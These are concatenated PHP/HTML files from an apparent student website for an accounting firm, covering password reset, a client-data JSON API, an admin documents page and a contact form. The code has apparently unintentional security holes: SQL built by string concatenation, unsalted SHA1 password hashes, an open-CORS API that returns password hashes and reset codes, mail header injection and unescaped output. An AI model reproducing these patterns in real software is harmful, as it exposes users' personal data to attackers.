changeMDPmorale($email,sha1($mdp));
session_destroy();
header("Location:login.php");
} else {
$errormdp = "<div class='alert alert-danger' role='alert'> Les mots de passes doivent être identiques ! </div>";
$codevalide = 1;
}
}else {
if ($mdp == $mdp2) {
changeMDP($email,sha1($mdp));
session_destroy();
header("Location:login.php");
} else {
$errormdp = "<div class='alert alert-danger' role='alert'> Les mots de passes doivent être identiques ! </div>";
$codevalide = 1;
}
}
if ($mdp == $mdp2) {
changeMDP($email,sha1($mdp));
session_destroy();
header("Location:login.php");
} else {
$errormdp = "<div class='alert alert-danger' role='alert'> Les mots de passes doivent être identiques ! </div>";
$codevalide = 1;
}
}
?>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<div class="modal-dialog cascading-modal" role="document">
<!--Content-->
<div class="modal-content">
<div class="modal-c-tabs">
<div class="tab-pane fade in show active" id="panel1" role="tabpanel">
<?php if ($codevalide == 0): ?>
<?php echo $errorcodeverif ?>
<form method="post" action="nouveaumdp.php">
<div class="modal-body mb-1">
<div class="md-form form-sm mb-3">
<h4>Un code de vérification a été envoyer à votre adresse mail </h4>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input class="form-control py-2 border-right-0 border" name="codeverif" type="text" placeholder="Code de validation" required>
</div>
</div>
<div class="text-center mt-2">
<button class="btn btn-dark" name="btnVerifCode" type="submit">Vérifier</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</main>
<?php else: ?>
<?php echo $errormdp ?>
<form method="post" action="nouveaumdp.php">
<div class="modal-body mb-1">
<div class="md-form form-sm mb-3">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input class="form-control py-2 border-right-0 border" name="nvmdp1" type="password" placeholder="<PASSWORD> mot de passe" required maxlength="30" minlength = "6">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-key"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input class="form-control py-2 border-right-0 border" name="nvmdp2" type="password" placeholder="<PASSWORD> mot de passe" required maxlength="30" minlength = "6">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-key"></i></div>
</span>
</div>
</div>
<div class="text-center mt-2">
<button class="btn btn-dark" name="btnChangermdp" type="submit">Changer mot de passe</button>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</main>
<?php endif; ?>
<?php
include('footer.php');
?>
<file_sep><?php
//connect mysql database
$host = "hhva.myd.infomaniak.com";
$user = "hhva_team20_2_v";
$pass = "<PASSWORD>";
$db = "hhva_team20_2_v2";
$con = mysqli_connect($host, $user, $pass, $db) or die("Error " . mysqli_error($con));
?><file_sep><?php
// Headers requis
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: GET");
header("Access-Control-Max-Age: 3600");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
// On vérifie que la méthode utilisée est correcte
if($_SERVER['REQUEST_METHOD'] == 'GET'){
// On inclut les fichiers de configuration et d'accès aux données
include_once '../config/Database.php';
include_once '../models/personnemorale.php';
// On instancie la base de données
$database = new Database();
$db = $database->getConnection();
// On instancie les produits
$personnemorale = new Personnemorale($db);
$donnees = $_GET['id'];
if(!empty($donnees)){
$personnemorale->ID_PERSONNEMORALE = $donnees;
// On récupère le produit
$personnemorale->lireUn();
// On vérifie si le produit existe
if($personnemorale->PERM_NOM != null){
$personnem = [
"ID_PERSONNEMORALE" => $personnemorale->ID_PERSONNEMORALE,
"PERM_NOM" => $personnemorale->PERM_NOM,
"PERM_EMAIL" => $personnemorale->PERM_EMAIL,
"PERM_MOTDEPASSE" => $personnemorale->PERM_MOTDEPASSE,
"PERM_TELEPHONE" => $personnemorale->PERM_TELEPHONE,
"PERM_CODEPOSTAL" => $personnemorale->PERM_CODEPOSTAL,
"PERM_LOCALITE" => $personnemorale->PERM_LOCALITE,
"PERM_ADRESSE" => $personnemorale->PERM_ADRESSE,
"PERM_CODENVMDP" => $personnemorale->PERM_CODENVMDP,
"PERM_DOMAINE" => $personnemorale->PERM_DOMAINE,
];
// On envoie le code réponse 200 OK
http_response_code(200);
// On encode en json et on envoie
echo json_encode($personnem);
}else{
// 404 Not found
http_response_code(404);
echo json_encode(array("message" => "Le produit n'existe pas."));
}
}else {
echo json_encode(array("message" => "marche PAS"));
}
}else{
// On gère l'erreur
http_response_code(405);
echo json_encode(["message" => "La méthode n'est pas autorisée"]);
}
<file_sep><?php
// Headers requis
header("Access-Control-Allow-Origin: *");
header("Content-Type: application/json; charset=UTF-8");
header("Access-Control-Allow-Methods: POST");
header("Access-Control-Max-Age: 3600");
header("Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With");
// On vérifie la méthode
if($_SERVER['REQUEST_METHOD'] == 'POST'){
// On inclut les fichiers de configuration et d'accès aux données
include_once '../config/Database.php';
include_once '../models/personnephysique.php';
// On instancie la base de données
$database = new Database();
$db = $database->getConnection();
// On instancie les produits
$personephysique = new Personnephysique($db);
// On récupère les informations envoyées
$donnees = json_decode(file_get_contents("php://input"));
// Ici on a reçu les données
// On hydrate notre objet
$personephysique->PER_NOM = $donnees->PER_NOM;
$personephysique->PER_PRENOM = $donnees->PER_PRENOM;
$personephysique->PER_EMAIL = $donnees->PER_EMAIL;
$personephysique->PER_MOTDEPASSE = $donnees->PER_MOTDEPASSE;
$personephysique->PER_DATEDENAISSANCE = $donnees->PER_DATEDENAISSANCE;
$personephysique->PER_TELEPHONE = $donnees->PER_TELEPHONE;
$personephysique->PER_CODEPOSTAL = $donnees->PER_CODEPOSTAL;
$personephysique->PER_LOCALITE = $donnees->PER_LOCALITE;
$personephysique->PER_ADRESSE = $donnees->PER_ADRESSE;
$personephysique->PER_CODENVMDP = $donnees->PER_CODENVMDP;
if($personephysique->creer()){
// Ici la création a fonctionné
// On envoie un code 201
http_response_code(201);
echo json_encode(["message" => "L'ajout a été effectué"]);
}else{
// Ici la création n'a pas fonctionné
// On envoie un code 503
http_response_code(503);
echo json_encode(["message" => "L'ajout n'a pas été effectué"]);
}
}else{
// On gère l'erreur
http_response_code(405);
echo json_encode(["message" => "La méthode n'est pas autorisée"]);
}
<file_sep><!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<?php
$titre = "C&M Comptabilité Sàrl - Espace Admin";
include('navbar.php');
if(!empty($_GET['amp;c'])){
$est_client =$_GET['amp;c'];
}else {
$est_client =$_GET['c'];
}
$id = $_GET['id'];
include_once 'dbconnect.php';
$errorEC = "";
$errorECexist ="";
?>
<title>C&M Comptabilité Sàrl</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
</head>
<body>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<?php if ($est_client == 1): ?>
<?php $user = getOneUserid($id); ?>
<h2 class="text-center">Page documents de <strong style="color : #dc3545"><?= $user['PER_NOM']." ". $user['PER_PRENOM'] ?></h2>
<hr>
<?php else: ?>
<?php $user = getOneUseridmorale($id); ?>
<h2 class="text-center">Page documents de <strong style="color : #dc3545"><?= $user['PERM_NOM']?></h2>
<hr>
<?php endif; ?>
<?php if ($_GET['st'] == 'success') { echo "<div class='alert alert-success text-center'> La modification a été faite </div>"; }?>
<?php if ($_GET['dl'] == 'success') { echo "<div class='alert alert-success text-center'> La suppression a été faite </div>"; }?>
<?php
if (isset($_POST['btnValiderEspaceClientAD'])){
if ($est_client == 1) {
$idclientpostespace = $user['ID_PERSONNEP'];
$nompostespace = $_POST["nomES"];
$prenompostespace = $_POST["prenomES"];
$emailpostespace = $_POST["emailES"];
$datenaissancepostespace = $_POST['dateNaissanceES'];
$phonepostespace= $_POST["telES"];
$adressepostespace =$_POST["adresseES"];
$codepostalpostespace = $_POST["zipCodeES"];
$localitepostespace = $_POST["localiteES"];
if (filter_var($emailpostespace,FILTER_VALIDATE_EMAIL)) {
$user = getOneUser($emailpostespace);
if (!empty($user)) {
if ($emailpostespace == $user['PER_EMAIL']) {
updateespaceclientC($idclientpostespace,$nompostespace,$prenompostespace,$emailpostespace,$datenaissancepostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUser($emailpostespace);
}
else {
$errorEC = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}
else {
updateespaceclientC($idclientpostespace,$nompostespace,$prenompostespace,$emailpostespace,$datenaissancepostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUser($emailpostespace);
}
}
else {
$errorECexist = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
}
else {
$idclientpostespace = $user['ID_PERSONNEMORALE'];
$nompostespace = $_POST["nomES"];
$emailpostespace = $_POST["emailES"];
$phonepostespace= $_POST["telES"];
$adressepostespace =$_POST["adresseES"];
$codepostalpostespace = $_POST["zipCodeES"];
$localitepostespace = $_POST["localiteES"];
if (filter_var($emailpostespace,FILTER_VALIDATE_EMAIL)) {
$user = getOneUsermorale($emailpostespace);
if (!empty($user)) {
if ($emailpostespace == $user['PERM_EMAIL']) {
updateespaceclientE($idclientpostespace,$nompostespace,$emailpostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUsermorale($emailpostespace);
}
else {
$errorEC = "<div class='alert alert-danger' role='alert'> Cette adresse mail est déjà utlisée !</div>";
}
}
else {
updateespaceclientE($idclientpostespace,$nompostespace,$emailpostespace,$phonepostespace,$codepostalpostespace,$localitepostespace,$adressepostespace);
$user = getOneUsermorale($emailpostespace);
}
}
else {
$errorECexist = "<div class='alert alert-danger' role='alert'> Cette adresse mail n'est pas valide !</div>";
}
}
}
if (isset($_POST['ValiderD'])){
ValiderDocument();
}
?>
<?php
// fetch files
$sql =" select DOC_NOM,DOC_STATUS,d.ID_DOCUMENT from document as d , appartient as ap, personnephysique as pp WHERE d.ID_DOCUMENT = ap.ID_DOCUMENT AND ap.ID_PERSONNEP = pp.ID_PERSONNEP AND pp.ID_PERSONNEP = ".$user['ID_PERSONNEP']."";
$result = mysqli_query($con, $sql);
?>
<div class=" cascading-modal" role="document">
<!--Content-->
<div class="modal-content">
<div class="modal-body">
<div class="row">
<div class="col-12 col-xs-offset-2 mt-3">
<table class="table table-striped table-hover">
<thead>
<tr>
<th>Nom Document</th>
<th>Voir</th>
<th>Télécharger</th>
<th>Status</th>
<?php if($row['DOC_STATUS'] == 0 ){
echo "<th> Action </th>";
echo "<th></th>";
}
elseif($row['DOC_STATUS'] == 1){
echo "<th> Action </th>";
}
else{
echo "<th> Action </th>";
}
?>
</tr>
</thead>
<tbody>
<?php
while($row = mysqli_fetch_array($result)) { ?>
<tr>
<td><?php echo $row['DOC_NOM']; ?></td>
<td><a href="uploads/<?php echo $user['PER_NOM'].$user['PER_PRENOM']."/"; ?><?php echo $row['DOC_NOM']; ?>" target="_blank">Voir</a></td>
<td><a href="uploads/<?php echo $user['PER_NOM'].$user['PER_PRENOM']."/"; ?><?php echo $row['DOC_NOM']; ?>" download><i class="fa fa-download"></i>Télécharger</td>
<?php if($row['DOC_STATUS'] == 0 ){
echo "<td class='alert alert-primary pt-3' > En Traitement </td>";
echo "<td>";
echo "<form action='accepter.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Accepter' class='btn btn-success'/>";
echo "</form>";
echo "</td>";
echo "<td>";
echo "<form action='refuser.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Refuser' class='btn btn-danger'/>";
echo "</form>";
echo "</td>";
}
elseif($row['DOC_STATUS'] == 1){
echo "<td class='alert alert-success' > Validé </td>";
echo "<td>";
echo "<form action='supprimer.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Supprimer' class='btn btn-dark'/>";
echo "</form>";
echo "</td>";
echo "<td>";
echo "<form action='refuser.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Refuser' class='btn btn-danger'/>";
echo "</form>";
echo "</td>";
}
else{
echo "<td class='alert alert-danger' > Refusé </td>";
echo "<td>";
echo "<form action='supprimer.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Supprimer' class='btn btn-dark'/>";
echo "</form>";
echo "</td>";
echo "<td>";
echo "<form action='accepter.php/?id_doc=$row[ID_DOCUMENT]&idpersonne=$user[ID_PERSONNEP]' method='post' enctype='multipart/form-data'>";
echo "<input type='submit' name='submit' value='Accepter' class='btn btn-success'/>";
echo "</form>";
echo "</td>";
}
?>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</div>
<!--/.Panel 2019-->
</div>
<div class="btn-group ml-3 mr-2 mt-4" role="group" aria-label="Second group">
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#ModalModifInfo" style="background-color : #26479e;">Modifier informations </button>
</div>
</main><!-- /.container -->
<?php if (!empty($user['ID_PERSONNEP']) ): ?>
<?php echo $errorEC ?>
<?php echo $errorECexist ?>
<form action="docsClient.php?id=<?=$user['ID_PERSONNEP']?>&c=1" method="post">
<div class="modal fade" id="ModalModifInfo" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Modifier ses informations</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<h4><?php echo $user['PER_NOM'] ?></h4>
<h5><?php echo $user['PER_PRENOM'] ?></h5>
<h6><?php echo $user['PER_EMAIL'] ?></h6>
<h6><?php echo $user['PER_DATEDENAISSANCE'] ?></h6>
<h6><?php echo $user['PER_TELEPHONE'] ?></h6>
<h6><?php echo $user['PER_ADRESSE'] ?></h6>
<h6><?php echo $user['PER_CODEPOSTAL'] ." ". $user['PER_LOCALITE'] ?></h6>
<div class="btn-group ml-3 mr-2 mt-4" role="group" aria-label="Second group">
<button type="button" class="btn btn-dark" data-toggle="modal" data-target="#MdfClient" style="background-color : #26479e;">Modifier informations </button>
</div>
<div class="modal fade" id="MdfClient" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-body">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="nomES" class="form-control" placeholder="Insérez votre nom" required autofocus=""value='<?php echo $user['PER_NOM'] ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
<input type="text" name="prenomES" class="form-control" placeholder="Insérez votre prénom" required autofocus="" value='<?php echo $user['PER_PRENOM'] ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="email" name="emailES" class="form-control" placeholder="Insérez votre adresse mail" required autofocus=" "value='<?php echo $user['PER_EMAIL'] ?>'maxlength="30">
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-at"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<input type="date" name="dateNaissanceES" class="form-control" required autofocus="" value='<?php echo $user['PER_DATEDENAISSANCE'] ?>'maxlength="6">
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="telES" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" value='<?php echo "0".$user['PER_TELEPHONE'] ?>'maxlength="15" minlength="10">
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<span class="input-group-append">
<div class="input-group-text bg-transparent">Adresse</div>
</span>
<input type="text" name="adresseES" class="form-control" placeholder="votre adresse" required autofocus="" value='<?php echo $user['PER_ADRESSE'] ?>'maxlength="50">
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="zipCodeES" class="form-control" placeholder="Code Postale" required autofocus=""value='<?php echo $user['PER_CODEPOSTAL'] ?>'minlength="4">
<span class="input-group-append">
</span>
<input type="text" name="localiteES" class="form-control" placeholder="Localité" required autofocus=""value='<?php echo $user['PER_LOCALITE'] ?>'pattern="[a-zA-ZÀ-ÿ]{1,15}" maxlength="15">
</div>
</div>
</div>
<div class="modal-footer">
<button type="reset" class="btn btn-secondary" data-dismiss="modal" >Fermer</button>
<button type="submit" class="btn btn-dark" name="btnValiderEspaceClientAD">Envoyer</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
<?php else: ?>
<?php echo $errorEC ?>
<?php echo $errorECexist ?>
<form action="docsClient.php?id=<?=$user['ID_PERSONNEMORALE']?>&c=1" method="post">
<div class="modal fade" id="ModalModifInfo" tabindex="-1" role="dialog" aria-labelledby="MotDePasseOublier" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="MotDePasseOublier">Modifier ses informations</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="nomES" class="form-control" placeholder="Insérez votre nom" required autofocus=""value='<?php echo $user['PERM_NOM'] ?>'>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="email" name="emailES" class="form-control" placeholder="Insérez votre adresse mail" required autofocus=" "value='<?php echo $user['PERM_EMAIL'] ?>'>
<span class="input-group-append">
<div class="input-group-text bg-transparent"><i class="fas fa-at"></i></div>
</span>
</div>
</div>
<div class="md-form form-sm mb-3">
<input type="text" name="telES" class="form-control" placeholder="Insérez votre numéro de téléphone portable" required autofocus="" value='<?php echo "0".$user['PERM_TELEPHONE'] ?>'>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<span class="input-group-append">
<div class="input-group-text bg-transparent">Adresse</div>
</span>
<input type="text" name="adresseES" class="form-control" placeholder="votre adresse" required autofocus="" value='<?php echo $user['PERM_ADRESSE'] ?>'>
</div>
</div>
<div class="md-form form-sm mb-3">
<div class="input-group">
<input type="text" name="zipCodeES" class="form-control" placeholder="Code Postale" required autofocus=""value='<?php echo $user['PERM_CODEPOSTAL'] ?>'>
<span class="input-group-append">
</span>
<input type="text" name="localiteES" class="form-control" placeholder="Localité" required autofocus=""value='<?php echo $user['PERM_LOCALITE'] ?>'>
</div>
</div>
</div>
<div class="modal-footer">
<button type="reset" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
<button type="submit" class="btn btn-dark" name="btnValiderEspaceClientAD">Envoyer</button>
</div>
</div>
</div>
</div>
</form>
<?php endif; ?>
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos
premiers critères de collaboration.</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold"></h6>
<!-- <hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;"> -->
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<!-- Links -->
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
<!-- Grid column -->
</div>
<!-- Grid row -->
</div>
<!-- Footer Links -->
<!-- Copyright -->
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
<!-- Copyright -->
</footer>
</body>
</html>
<file_sep><!DOCTYPE html>
<html dir="ltr">
<head>
<meta charset="utf-8">
<title>C&M Comptabilité Sàrl</title>
</head>
<body>
<?php
$titre = "C&M - Contact";
include('navbar.php');
?>
<?php
if(isset($_POST['button'])) {
if(!empty($_POST['nom']) AND !empty($_POST['mail']) AND !empty($_POST['message']) AND !empty($_POST['mail'])) {
$header="MIME-Version: 1.0\r\n";
$header.='From:'.$_POST['nom'].'<'.$_POST['mail'].'>'."\n";
$header.='Content-Type:text/html; charset="uft-8"'."\n";
$header.='Content-Transfer-Encoding: 8bit';
$sujet= $_POST['sujet'];
$message='
<html>
<body>
<div align="left">
<br />
<u>Nom de l\'expéditeur: </u>'.$_POST['nom'].'<br />
<u>Mail de l\'expéditeur: </u>'.$_POST['mail'].'<br />
<br />
'.nl2br($_POST['message']).'
<br />
</div>
</body>
</html>
';
mail("<EMAIL>", "Formulaire de contact: " .$sujet , $message, $header);
$msg= "<div class='alert alert-success' role='alert'> Votre message a bien été envoyer!</div>";
}
else {
$msg="<div class='alert alert-danger' role='alert'> Vous devez remplir tout les champs!</div>";
}
}
?>
<main role="main" class="container">
<div class="row">
<div class="col-md-12 blog-main">
<section id="contact">
<div class="container">
<div class="well well-sm">
<h3><strong>Contact </strong></h3>
<div id="errorMsg">
<?php
if (isset($_POST['button'])):
echo $msg;
endif;
?>
</div>
<div class="row">
<div class="col-md-7">
<iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d2762.0709793999126!2d6.132564715836894!3d46.18914619279765!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x478c7b288f52b40d%3A0xa4b771d96d8a3be2!2sAvenue%20Industrielle%2014%2C%201227%20Carouge!5e0!3m2!1sfr!2sch!4v1599144012637!5m2!1sfr!2sch" width="100%" height="315" frameborder="0" style="border:0" allowfullscreen></iframe>
</div>
<div class="col-md-5">
<h4><strong>Nous contacter</strong></h4>
<form method="POST" action="contact.php" >
<div class="form-group">
<input id="inputNom" class="form-control mb-2" type="text" name="nom" placeholder="Votre nom" value="" />
<input id="inputEmail" class="form-control mb-2" type="email" name="mail" placeholder="Votre email" value="" />
<input id="inputSujet" class="form-control mb-2" type="text" name="sujet" placeholder="Sujet du message" value="" />
<textarea id="txtMessage" class="form-control" name="message" placeholder="Votre message" rows="3"> </textarea>
</div>
<button id="btnEnvoyer" disabled class="btn btn-secondary" type="submit" name="button" value="Envoyer !">Envoyer</button>
</form>
</div>
</div>
</div>
</div><!-- /.row -->
</section>
</div>
</div>
</main>
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - FOOTER - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->
<footer class="page-footer font-small">
<div style="background-color: #26479e; margin-top:50px">
<div class="container">
<!-- Grid row-->
<div class="row py-4 d-flex align-items-center">
<!-- Grid column -->
<div class="col-md-6 col-lg-5 text-center text-md-left mb-4 mb-md-0" st>
<h6 class="mb-0" style="color:white;">Vous pouvez aussi nous contactez sur les réseaux sociaux!</h6>
</div>
<!-- Grid column -->
<!-- Grid column -->
<div class="col-md-6 col-lg-7 text-center text-md-right">
<!-- Facebook -->
<a class="fb-ic" href="https://www.facebook.com/CM-Comptabilit%C3%A9-S%C3%A0rl-107024997531257/">
<i class="fab fa-facebook-f white-text mr-4"> </i>
</a>
<!--Instagram-->
<a class="ins-ic" href="https://instagram.com/cm.comptabilite?igshid=1awx5885odk3t">
<i class="fab fa-instagram white-text"> </i>
</a>
</div>
<!-- Grid column -->
</div>
<!-- Grid row-->
</div>
</div>
<!-- Footer Links -->
<div class="container text-center text-md-left mt-5" style="background-color:lightgrey">
<!-- Grid row -->
<div class="row mt-3">
<!-- Grid column -->
<div class="col-md-3 col-lg-4 col-xl-3 mx-auto mb-4">
<!-- Content -->
<h6 class="text-uppercase font-weight-bold">C&M Comptabilité</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>Que vous soyez indépendant ou particulier, votre demande et votre satisfaction sont nos premiers critères de collaboration.</p>
</div>
<div class="col-md-2 col-lg-2 col-xl-2 mx-auto mb-4">
<h6 class="text-uppercase font-weight-bold"></h6>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
<p>
<a href="#!"></a>
</p>
</div>
<div class="col-md-3 col-lg-2 col-xl-2 mx-auto mb-4">
<h6 class="text-uppercase font-weight-bold">Liens utiles</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 60px;">
<p>
<a href="login.php">Connectez vous!</a>
</p>
<p>
<a href="reservation.php">Prenez un rendez-vous</a>
</p>
<p>
<a href="services.php">Nos services</a>
</p>
<p>
<a href="contact.php">Nous contater</a>
</p>
</div>
<div class="col-md-4 col-lg-3 col-xl-3 mx-auto mb-md-0 mb-4">
<h6 class="text-uppercase font-weight-bold">Contact</h6>
<hr class="deep-purple accent-2 mb-4 mt-0 d-inline-block mx-auto" style="width: 70px; height:5px;">
<p>
<i class="fas fa-home mr-3"></i> Avenue Industrielle 14</p>
<p>
<i class="fas fa-map-pin mr-4"></i> 1227 Carouge </p>
<p>
<i class="fas fa-envelope mr-3"></i> <EMAIL></p>
<p>
<i class="fas fa-phone mr-3"></i> 076 375 33 06 </p>
<p>
<i class="fas fa-phone mr-3"></i> 078 778 07 11 </p>
</div>
</div>
</div>
<div class="footer-copyright text-center py-3">© 2020 Copyright:
<a href="https://esig-sandbox.ch/team2020_2"> C&M-Comptabilité.com</a>
</div>
</footer>
<!-- Appel JS -->
<script type="text/javascript" src="contact.js"></script>
</body>
</html>
<file_sep><?php
$titre = "C&M - Espace admin";
include('navbar.php');
?>
<script type="text/javascript">
</script>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="<KEY>" crossorigin="anonymous">
<!-- Custom styles for this template -->
<link href="css/blog.css" rel="stylesheet">
<!-- JS, Popper.js, and jQuery -->
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js" integrity="<KEY>" crossorigin="anonymous"></script>
<!-- Les icones utilisé -->
<script src="https://kit.fontawesome.com/693819749c.js" crossorigin="anonymous"></script>
<!-- Barre de recheche-->
<script>
$(document).ready(function(){
$("#myInput").on("keyup", function() {
var value = $(this).val().toLowerCase();
$("#ListeClient *").filter(function() {
